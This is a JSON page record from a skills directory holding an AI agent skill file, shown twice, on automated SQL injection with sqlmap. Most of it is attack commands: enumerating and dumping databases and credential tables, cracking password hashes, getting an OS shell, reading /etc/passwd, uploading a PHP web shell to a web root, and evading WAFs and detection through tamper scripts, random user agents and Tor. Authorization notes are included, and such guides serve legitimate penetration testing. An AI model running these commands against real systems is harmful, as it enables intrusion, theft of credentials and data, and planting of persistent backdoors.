[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6CCC6SCGHZSHMNJZZ20221B":3,"skill-same:01M6CCC6SCGHZSHMNJZZ20221B":91},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":31,"publishedAt":46,"linkOnly":47,"markdownContent":48,"markdownBody":49,"frontMatter":50,"refName":54,"commitSha":55,"skillDirectory":56,"forksCount":14,"repositoryHtmlUrl":57,"repositoryHomepageUrl":6,"ownerHtmlUrl":58,"ownerBlogUrl":59,"ownerDescription":60,"updatedAt":61,"install":62,"resources":75},"01M6CCC6SCGHZSHMNJZZ20221B","SQLMap Database Penetration Testing",null,"This skill should be used when the user asks to \"automate SQL injection testing,\" \"enumerate database structure,\" \"extract database credentials using sqlmap,\" \"dump tables and columns from a vulnerable database,\" or \"perform automated database penetration testing.\" It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.","Gabriellmaia01\u002Fneuro-dose-assist","Gabriellmaia01","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F135177180?v=4","01M6CBRZEZC8G5C400AG3SPFNH","Gabriel","01M6CBRZK8MB7DWW0B4C82TV2G",0,"MIT","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fsqlmap-database-pentesting\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[32,33,34,35,5,36,37,38,39,40,41,42,43,44,45],"testing","database","penetration testing","sqlmap","vulnerabilities","sql","injection","credentials","sql injection testing","automate","user","extract","exploit","guidance","2026-11-10 10:12:30",false,"---\nname: SQLMap Database Penetration Testing\ndescription: This skill should be used when the user asks to \"automate SQL injection testing,\" \"enumerate database structure,\" \"extract database credentials using sqlmap,\" \"dump tables and columns from a vulnerable database,\" or \"perform automated database penetration testing.\" It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# SQLMap Database Penetration Testing\n\n## Purpose\n\nProvide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.\n\n## Inputs \u002F Prerequisites\n\n- **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`)\n- **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub\n- **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable\n- **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection\n- **Authorization**: Written permission for penetration testing activities\n\n## Outputs \u002F Deliverables\n\n- **Database Enumeration**: List of all databases on the target server\n- **Table Structure**: Complete table names within target database\n- **Column Mapping**: Column names and data types for each table\n- **Extracted Data**: Dumped records including usernames, passwords, and sensitive data\n- **Hash Values**: Password hashes for offline cracking\n- **Vulnerability Report**: Confirmation of SQL injection type and severity\n\n## Core Workflow\n\n### 1. Identify SQL Injection Vulnerability\n\n#### Manual Verification\n```bash\n# Add single quote to break query\nhttp:\u002F\u002Ftarget.com\u002Fpage.php?id=1'\n\n# If error message appears, likely SQL injectable\n# Error example: \"You have an error in your SQL syntax\"\n```\n\n#### Initial SQLMap Scan\n```bash\n# Basic vulnerability detection\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --batch\n\n# With verbosity for detailed output\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --batch -v 3\n```\n\n### 2. Enumerate Databases\n\n#### List All Databases\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch\n```\n\n**Key Options:**\n- `-u`: Target URL with injectable parameter\n- `--dbs`: Enumerate database names\n- `--batch`: Use default answers (non-interactive mode)\n\n### 3. Enumerate Tables\n\n#### List Tables in Specific Database\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name --tables --batch\n```\n\n**Key Options:**\n- `-D`: Specify target database name\n- `--tables`: Enumerate table names\n\n### 4. Enumerate Columns\n\n#### List Columns in Specific Table\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T table_name --columns --batch\n```\n\n**Key Options:**\n- `-T`: Specify target table name\n- `--columns`: Enumerate column names\n\n### 5. Extract Data\n\n#### Dump Specific Table Data\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T table_name --dump --batch\n```\n\n#### Dump Specific Columns\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T users -C username,password --dump --batch\n```\n\n#### Dump Entire Database\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name --dump-all --batch\n```\n\n**Key Options:**\n- `--dump`: Extract all data from specified table\n- `--dump-all`: Extract all data from all tables\n- `-C`: Specify column names to extract\n\n### 6. Advanced Target Options\n\n#### Target from HTTP Request File\n```bash\n# Save Burp Suite request to file, then:\nsqlmap -r \u002Fpath\u002Fto\u002Frequest.txt --dbs --batch\n```\n\n#### Target from Log File\n```bash\n# Feed log file with multiple requests\nsqlmap -l \u002Fpath\u002Fto\u002Flogfile --dbs --batch\n```\n\n#### Target Multiple URLs (Bulk File)\n```bash\n# Create file with URLs, one per line:\n# http:\u002F\u002Ftarget1.com\u002Fpage.php?id=1\n# http:\u002F\u002Ftarget2.com\u002Fpage.php?id=2\nsqlmap -m \u002Fpath\u002Fto\u002Fbulkfile.txt --dbs --batch\n```\n\n#### Target via Google Dorks (Use with Caution)\n```bash\n# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)\nsqlmap -g \"inurl:?id= site:yourdomain.com\" --batch\n```\n\n## Quick Reference Commands\n\n### Database Enumeration Progression\n\n| Stage | Command |\n|-------|---------|\n| List Databases | `sqlmap -u \"URL\" --dbs --batch` |\n| List Tables | `sqlmap -u \"URL\" -D dbname --tables --batch` |\n| List Columns | `sqlmap -u \"URL\" -D dbname -T tablename --columns --batch` |\n| Dump Data | `sqlmap -u \"URL\" -D dbname -T tablename --dump --batch` |\n| Dump All | `sqlmap -u \"URL\" -D dbname --dump-all --batch` |\n\n### Supported Database Management Systems\n\n| DBMS | Support Level |\n|------|---------------|\n| MySQL | Full Support |\n| PostgreSQL | Full Support |\n| Microsoft SQL Server | Full Support |\n| Oracle | Full Support |\n| Microsoft Access | Full Support |\n| IBM DB2 | Full Support |\n| SQLite | Full Support |\n| Firebird | Full Support |\n| Sybase | Full Support |\n| SAP MaxDB | Full Support |\n| HSQLDB | Full Support |\n| Informix | Full Support |\n\n### SQL Injection Techniques\n\n| Technique | Description | Flag |\n|-----------|-------------|------|\n| Boolean-based blind | Infers data from true\u002Ffalse responses | `--technique=B` |\n| Time-based blind | Uses time delays to infer data | `--technique=T` |\n| Error-based | Extracts data from error messages | `--technique=E` |\n| UNION query-based | Uses UNION to append results | `--technique=U` |\n| Stacked queries | Executes multiple statements | `--technique=S` |\n| Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` |\n\n### Essential Options\n\n| Option | Description |\n|--------|-------------|\n| `-u` | Target URL |\n| `-r` | Load HTTP request from file |\n| `-l` | Parse targets from Burp\u002FWebScarab log |\n| `-m` | Bulk file with multiple targets |\n| `-g` | Google dork (use responsibly) |\n| `--dbs` | Enumerate databases |\n| `--tables` | Enumerate tables |\n| `--columns` | Enumerate columns |\n| `--dump` | Dump table data |\n| `--dump-all` | Dump all database data |\n| `-D` | Specify database |\n| `-T` | Specify table |\n| `-C` | Specify columns |\n| `--batch` | Non-interactive mode |\n| `--random-agent` | Use random User-Agent |\n| `--level` | Level of tests (1-5) |\n| `--risk` | Risk of tests (1-3) |\n\n## Constraints and Limitations\n\n### Operational Boundaries\n- Requires valid injectable parameter in target URL\n- Network connectivity to target database server required\n- Large database dumps may take significant time\n- Some WAF\u002FIPS systems may block SQLMap traffic\n- Time-based attacks significantly slower than error-based\n\n### Performance Considerations\n- Use `--threads` to speed up enumeration (default: 1)\n- Limit dumps with `--start` and `--stop` for large tables\n- Use `--technique` to specify faster injection method if known\n\n### Legal Requirements\n- Only test systems with explicit written authorization\n- Google dork attacks against unknown sites are illegal\n- Document all testing activities and findings\n- Respect scope limitations defined in engagement rules\n\n### Detection Risk\n- SQLMap generates significant log entries\n- Use `--random-agent` to vary User-Agent header\n- Consider `--delay` to avoid triggering rate limits\n- Proxy through Tor with `--tor` for anonymity (authorized tests only)\n\n## Examples\n\n### Example 1: Complete Database Enumeration\n```bash\n# Step 1: Discover databases\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" --dbs --batch\n# Result: acuart database found\n\n# Step 2: List tables\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart --tables --batch\n# Result: users, products, carts, etc.\n\n# Step 3: List columns\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart -T users --columns --batch\n# Result: username, password, email columns\n\n# Step 4: Dump user credentials\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart -T users --dump --batch\n```\n\n### Example 2: POST Request Injection\n```bash\n# Save Burp request to file (login.txt):\n# POST \u002Flogin.php HTTP\u002F1.1\n# Host: target.com\n# Content-Type: application\u002Fx-www-form-urlencoded\n# \n# username=admin&password=test\n\n# Run SQLMap with request file\nsqlmap -r \u002Froot\u002FDesktop\u002Flogin.txt -p username --dbs --batch\n```\n\n### Example 3: Bulk Target Scanning\n```bash\n# Create bulkfile.txt:\necho \"http:\u002F\u002F192.168.1.10\u002Fsqli\u002FLess-1\u002F?id=1\" > bulkfile.txt\necho \"http:\u002F\u002F192.168.1.10\u002Fsqli\u002FLess-2\u002F?id=1\" >> bulkfile.txt\n\n# Scan all targets\nsqlmap -m bulkfile.txt --dbs --batch\n```\n\n### Example 4: Aggressive Testing\n```bash\n# High level and risk for thorough testing\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch --level=5 --risk=3\n\n# Specify all techniques\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch --technique=BEUSTQ\n```\n\n### Example 5: Extract Specific Credentials\n```bash\n# Target specific columns\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" \\\n  -D webapp \\\n  -T admin_users \\\n  -C admin_name,admin_pass,admin_email \\\n  --dump --batch\n\n# Automatically crack password hashes\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" \\\n  -D webapp \\\n  -T users \\\n  --dump --batch \\\n  --passwords\n```\n\n### Example 6: OS Shell Access (Advanced)\n```bash\n# Get interactive OS shell (requires DBA privileges)\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --os-shell --batch\n\n# Execute specific OS command\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --os-cmd=\"whoami\" --batch\n\n# File read from server\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --file-read=\"\u002Fetc\u002Fpasswd\" --batch\n\n# File upload to server\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --file-write=\"\u002Flocal\u002Fshell.php\" --file-dest=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php\" --batch\n```\n\n## Troubleshooting\n\n### Issue: \"Parameter does not seem injectable\"\n**Cause**: SQLMap cannot find injection point\n**Solution**:\n```bash\n# Increase testing level and risk\nsqlmap -u \"URL\" --dbs --batch --level=5 --risk=3\n\n# Specify parameter explicitly\nsqlmap -u \"URL\" -p \"id\" --dbs --batch\n\n# Try different injection techniques\nsqlmap -u \"URL\" --dbs --batch --technique=BT\n\n# Add prefix\u002Fsuffix for filter bypass\nsqlmap -u \"URL\" --dbs --batch --prefix=\"'\" --suffix=\"-- -\"\n```\n\n### Issue: Target Behind WAF\u002FFirewall\n**Cause**: Web Application Firewall blocking requests\n**Solution**:\n```bash\n# Use tamper scripts\nsqlmap -u \"URL\" --dbs --batch --tamper=space2comment\n\n# List available tamper scripts\nsqlmap --list-tampers\n\n# Common tamper combinations\nsqlmap -u \"URL\" --dbs --batch --tamper=space2comment,between,randomcase\n\n# Add delay between requests\nsqlmap -u \"URL\" --dbs --batch --delay=2\n\n# Use random User-Agent\nsqlmap -u \"URL\" --dbs --batch --random-agent\n```\n\n### Issue: Connection Timeout\n**Cause**: Network issues or slow target\n**Solution**:\n```bash\n# Increase timeout\nsqlmap -u \"URL\" --dbs --batch --timeout=60\n\n# Reduce threads\nsqlmap -u \"URL\" --dbs --batch --threads=1\n\n# Add retries\nsqlmap -u \"URL\" --dbs --batch --retries=5\n```\n\n### Issue: Time-Based Attacks Too Slow\n**Cause**: Default time delay too conservative\n**Solution**:\n```bash\n# Reduce time delay (risky, may cause false negatives)\nsqlmap -u \"URL\" --dbs --batch --time-sec=3\n\n# Use boolean-based instead if possible\nsqlmap -u \"URL\" --dbs --batch --technique=B\n```\n\n### Issue: Cannot Dump Large Tables\n**Cause**: Table has too many records\n**Solution**:\n```bash\n# Limit number of records\nsqlmap -u \"URL\" -D db -T table --dump --batch --start=1 --stop=100\n\n# Dump specific columns only\nsqlmap -u \"URL\" -D db -T table -C username,password --dump --batch\n\n# Exclude specific columns\nsqlmap -u \"URL\" -D db -T table --dump --batch --exclude-sysdbs\n```\n\n### Issue: Session Drops During Long Scan\n**Cause**: Session timeout or connection reset\n**Solution**:\n```bash\n# Save and resume session\nsqlmap -u \"URL\" --dbs --batch --output-dir=\u002Froot\u002Fsqlmap_session\n\n# Resume from saved session\nsqlmap -u \"URL\" --dbs --batch --resume\n\n# Use persistent HTTP connection\nsqlmap -u \"URL\" --dbs --batch --keep-alive\n```\n","# SQLMap Database Penetration Testing\n\n## Purpose\n\nProvide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.\n\n## Inputs \u002F Prerequisites\n\n- **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`)\n- **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub\n- **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable\n- **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection\n- **Authorization**: Written permission for penetration testing activities\n\n## Outputs \u002F Deliverables\n\n- **Database Enumeration**: List of all databases on the target server\n- **Table Structure**: Complete table names within target database\n- **Column Mapping**: Column names and data types for each table\n- **Extracted Data**: Dumped records including usernames, passwords, and sensitive data\n- **Hash Values**: Password hashes for offline cracking\n- **Vulnerability Report**: Confirmation of SQL injection type and severity\n\n## Core Workflow\n\n### 1. Identify SQL Injection Vulnerability\n\n#### Manual Verification\n```bash\n# Add single quote to break query\nhttp:\u002F\u002Ftarget.com\u002Fpage.php?id=1'\n\n# If error message appears, likely SQL injectable\n# Error example: \"You have an error in your SQL syntax\"\n```\n\n#### Initial SQLMap Scan\n```bash\n# Basic vulnerability detection\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --batch\n\n# With verbosity for detailed output\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --batch -v 3\n```\n\n### 2. Enumerate Databases\n\n#### List All Databases\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch\n```\n\n**Key Options:**\n- `-u`: Target URL with injectable parameter\n- `--dbs`: Enumerate database names\n- `--batch`: Use default answers (non-interactive mode)\n\n### 3. Enumerate Tables\n\n#### List Tables in Specific Database\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name --tables --batch\n```\n\n**Key Options:**\n- `-D`: Specify target database name\n- `--tables`: Enumerate table names\n\n### 4. Enumerate Columns\n\n#### List Columns in Specific Table\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T table_name --columns --batch\n```\n\n**Key Options:**\n- `-T`: Specify target table name\n- `--columns`: Enumerate column names\n\n### 5. Extract Data\n\n#### Dump Specific Table Data\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T table_name --dump --batch\n```\n\n#### Dump Specific Columns\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T users -C username,password --dump --batch\n```\n\n#### Dump Entire Database\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name --dump-all --batch\n```\n\n**Key Options:**\n- `--dump`: Extract all data from specified table\n- `--dump-all`: Extract all data from all tables\n- `-C`: Specify column names to extract\n\n### 6. Advanced Target Options\n\n#### Target from HTTP Request File\n```bash\n# Save Burp Suite request to file, then:\nsqlmap -r \u002Fpath\u002Fto\u002Frequest.txt --dbs --batch\n```\n\n#### Target from Log File\n```bash\n# Feed log file with multiple requests\nsqlmap -l \u002Fpath\u002Fto\u002Flogfile --dbs --batch\n```\n\n#### Target Multiple URLs (Bulk File)\n```bash\n# Create file with URLs, one per line:\n# http:\u002F\u002Ftarget1.com\u002Fpage.php?id=1\n# http:\u002F\u002Ftarget2.com\u002Fpage.php?id=2\nsqlmap -m \u002Fpath\u002Fto\u002Fbulkfile.txt --dbs --batch\n```\n\n#### Target via Google Dorks (Use with Caution)\n```bash\n# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)\nsqlmap -g \"inurl:?id= site:yourdomain.com\" --batch\n```\n\n## Quick Reference Commands\n\n### Database Enumeration Progression\n\n| Stage | Command |\n|-------|---------|\n| List Databases | `sqlmap -u \"URL\" --dbs --batch` |\n| List Tables | `sqlmap -u \"URL\" -D dbname --tables --batch` |\n| List Columns | `sqlmap -u \"URL\" -D dbname -T tablename --columns --batch` |\n| Dump Data | `sqlmap -u \"URL\" -D dbname -T tablename --dump --batch` |\n| Dump All | `sqlmap -u \"URL\" -D dbname --dump-all --batch` |\n\n### Supported Database Management Systems\n\n| DBMS | Support Level |\n|------|---------------|\n| MySQL | Full Support |\n| PostgreSQL | Full Support |\n| Microsoft SQL Server | Full Support |\n| Oracle | Full Support |\n| Microsoft Access | Full Support |\n| IBM DB2 | Full Support |\n| SQLite | Full Support |\n| Firebird | Full Support |\n| Sybase | Full Support |\n| SAP MaxDB | Full Support |\n| HSQLDB | Full Support |\n| Informix | Full Support |\n\n### SQL Injection Techniques\n\n| Technique | Description | Flag |\n|-----------|-------------|------|\n| Boolean-based blind | Infers data from true\u002Ffalse responses | `--technique=B` |\n| Time-based blind | Uses time delays to infer data | `--technique=T` |\n| Error-based | Extracts data from error messages | `--technique=E` |\n| UNION query-based | Uses UNION to append results | `--technique=U` |\n| Stacked queries | Executes multiple statements | `--technique=S` |\n| Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` |\n\n### Essential Options\n\n| Option | Description |\n|--------|-------------|\n| `-u` | Target URL |\n| `-r` | Load HTTP request from file |\n| `-l` | Parse targets from Burp\u002FWebScarab log |\n| `-m` | Bulk file with multiple targets |\n| `-g` | Google dork (use responsibly) |\n| `--dbs` | Enumerate databases |\n| `--tables` | Enumerate tables |\n| `--columns` | Enumerate columns |\n| `--dump` | Dump table data |\n| `--dump-all` | Dump all database data |\n| `-D` | Specify database |\n| `-T` | Specify table |\n| `-C` | Specify columns |\n| `--batch` | Non-interactive mode |\n| `--random-agent` | Use random User-Agent |\n| `--level` | Level of tests (1-5) |\n| `--risk` | Risk of tests (1-3) |\n\n## Constraints and Limitations\n\n### Operational Boundaries\n- Requires valid injectable parameter in target URL\n- Network connectivity to target database server required\n- Large database dumps may take significant time\n- Some WAF\u002FIPS systems may block SQLMap traffic\n- Time-based attacks significantly slower than error-based\n\n### Performance Considerations\n- Use `--threads` to speed up enumeration (default: 1)\n- Limit dumps with `--start` and `--stop` for large tables\n- Use `--technique` to specify faster injection method if known\n\n### Legal Requirements\n- Only test systems with explicit written authorization\n- Google dork attacks against unknown sites are illegal\n- Document all testing activities and findings\n- Respect scope limitations defined in engagement rules\n\n### Detection Risk\n- SQLMap generates significant log entries\n- Use `--random-agent` to vary User-Agent header\n- Consider `--delay` to avoid triggering rate limits\n- Proxy through Tor with `--tor` for anonymity (authorized tests only)\n\n## Examples\n\n### Example 1: Complete Database Enumeration\n```bash\n# Step 1: Discover databases\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" --dbs --batch\n# Result: acuart database found\n\n# Step 2: List tables\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart --tables --batch\n# Result: users, products, carts, etc.\n\n# Step 3: List columns\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart -T users --columns --batch\n# Result: username, password, email columns\n\n# Step 4: Dump user credentials\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart -T users --dump --batch\n```\n\n### Example 2: POST Request Injection\n```bash\n# Save Burp request to file (login.txt):\n# POST \u002Flogin.php HTTP\u002F1.1\n# Host: target.com\n# Content-Type: application\u002Fx-www-form-urlencoded\n# \n# username=admin&password=test\n\n# Run SQLMap with request file\nsqlmap -r \u002Froot\u002FDesktop\u002Flogin.txt -p username --dbs --batch\n```\n\n### Example 3: Bulk Target Scanning\n```bash\n# Create bulkfile.txt:\necho \"http:\u002F\u002F192.168.1.10\u002Fsqli\u002FLess-1\u002F?id=1\" > bulkfile.txt\necho \"http:\u002F\u002F192.168.1.10\u002Fsqli\u002FLess-2\u002F?id=1\" >> bulkfile.txt\n\n# Scan all targets\nsqlmap -m bulkfile.txt --dbs --batch\n```\n\n### Example 4: Aggressive Testing\n```bash\n# High level and risk for thorough testing\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch --level=5 --risk=3\n\n# Specify all techniques\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch --technique=BEUSTQ\n```\n\n### Example 5: Extract Specific Credentials\n```bash\n# Target specific columns\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" \\\n  -D webapp \\\n  -T admin_users \\\n  -C admin_name,admin_pass,admin_email \\\n  --dump --batch\n\n# Automatically crack password hashes\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" \\\n  -D webapp \\\n  -T users \\\n  --dump --batch \\\n  --passwords\n```\n\n### Example 6: OS Shell Access (Advanced)\n```bash\n# Get interactive OS shell (requires DBA privileges)\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --os-shell --batch\n\n# Execute specific OS command\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --os-cmd=\"whoami\" --batch\n\n# File read from server\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --file-read=\"\u002Fetc\u002Fpasswd\" --batch\n\n# File upload to server\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --file-write=\"\u002Flocal\u002Fshell.php\" --file-dest=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php\" --batch\n```\n\n## Troubleshooting\n\n### Issue: \"Parameter does not seem injectable\"\n**Cause**: SQLMap cannot find injection point\n**Solution**:\n```bash\n# Increase testing level and risk\nsqlmap -u \"URL\" --dbs --batch --level=5 --risk=3\n\n# Specify parameter explicitly\nsqlmap -u \"URL\" -p \"id\" --dbs --batch\n\n# Try different injection techniques\nsqlmap -u \"URL\" --dbs --batch --technique=BT\n\n# Add prefix\u002Fsuffix for filter bypass\nsqlmap -u \"URL\" --dbs --batch --prefix=\"'\" --suffix=\"-- -\"\n```\n\n### Issue: Target Behind WAF\u002FFirewall\n**Cause**: Web Application Firewall blocking requests\n**Solution**:\n```bash\n# Use tamper scripts\nsqlmap -u \"URL\" --dbs --batch --tamper=space2comment\n\n# List available tamper scripts\nsqlmap --list-tampers\n\n# Common tamper combinations\nsqlmap -u \"URL\" --dbs --batch --tamper=space2comment,between,randomcase\n\n# Add delay between requests\nsqlmap -u \"URL\" --dbs --batch --delay=2\n\n# Use random User-Agent\nsqlmap -u \"URL\" --dbs --batch --random-agent\n```\n\n### Issue: Connection Timeout\n**Cause**: Network issues or slow target\n**Solution**:\n```bash\n# Increase timeout\nsqlmap -u \"URL\" --dbs --batch --timeout=60\n\n# Reduce threads\nsqlmap -u \"URL\" --dbs --batch --threads=1\n\n# Add retries\nsqlmap -u \"URL\" --dbs --batch --retries=5\n```\n\n### Issue: Time-Based Attacks Too Slow\n**Cause**: Default time delay too conservative\n**Solution**:\n```bash\n# Reduce time delay (risky, may cause false negatives)\nsqlmap -u \"URL\" --dbs --batch --time-sec=3\n\n# Use boolean-based instead if possible\nsqlmap -u \"URL\" --dbs --batch --technique=B\n```\n\n### Issue: Cannot Dump Large Tables\n**Cause**: Table has too many records\n**Solution**:\n```bash\n# Limit number of records\nsqlmap -u \"URL\" -D db -T table --dump --batch --start=1 --stop=100\n\n# Dump specific columns only\nsqlmap -u \"URL\" -D db -T table -C username,password --dump --batch\n\n# Exclude specific columns\nsqlmap -u \"URL\" -D db -T table --dump --batch --exclude-sysdbs\n```\n\n### Issue: Session Drops During Long Scan\n**Cause**: Session timeout or connection reset\n**Solution**:\n```bash\n# Save and resume session\nsqlmap -u \"URL\" --dbs --batch --output-dir=\u002Froot\u002Fsqlmap_session\n\n# Resume from saved session\nsqlmap -u \"URL\" --dbs --batch --resume\n\n# Use persistent HTTP connection\nsqlmap -u \"URL\" --dbs --batch --keep-alive\n```\n",{"name":5,"metadata":51,"description":7},{"author":52,"version":53},"zebbern","1.1","main","eac60cc6e0b6baa2a05a765a851fb10638f4e733",".agent\u002Fskills\u002Fskills\u002Fsqlmap-database-pentesting","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist","https:\u002F\u002Fgithub.com\u002FGabriellmaia01","https:\u002F\u002Fportfolio-bice-theta-81.vercel.app\u002F","💻 Desenvolvimento De Software_\r\n\r\n⚙️ Engenharia De Software\r\n","2026-11-12 08:51:23",{"source":8,"skillName":5,"commands":63,"prompt":73,"zipAvailable":74},[64,67,70],{"tool":65,"command":66},"npx","npx skills add Gabriellmaia01\u002Fneuro-dose-assist --skill \"SQLMap Database Penetration Testing\"",{"tool":68,"command":69},"bunx","bunx skills add Gabriellmaia01\u002Fneuro-dose-assist --skill \"SQLMap Database Penetration Testing\"",{"tool":71,"command":72},"pnpm","pnpm dlx skills add Gabriellmaia01\u002Fneuro-dose-assist --skill \"SQLMap Database Penetration Testing\"","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fsqlmap-database-pentesting\u002FSKILL.md",true,[76,81,87],{"path":77,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":80},"LICENSE","许可证",1063,"https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fdefi\u002Fpendle-finance-official-boros-portfolio-account\u002FLICENSE",{"path":82,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":86},"SOURCE.md","REFERENCE","参考文档",394,"https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fdefi\u002Fpendle-finance-official-boros-portfolio-account\u002FSOURCE.md",{"path":88,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":89,"sourceHtmlUrl":90},"TRUST.auto.yaml",2189,"https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fdefi\u002Fpendle-finance-official-boros-portfolio-account\u002FTRUST.auto.yaml",[92,115,138,156,167,188],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":101,"publishedAt":46},"01M6CCFWA9JJ23708FSKK1QNBW","zapier-make-patterns","No-code automation democratizes workflow building. Zapier and Make (formerly Integromat) let non-developers automate business processes without writing code. But no-code doesn't mean no-complexity - these platforms have their own patterns, pitfalls, and breaking points.  This skill covers when to use which platform, how to build reliable automations, and when to graduate to code-based solutions. Key 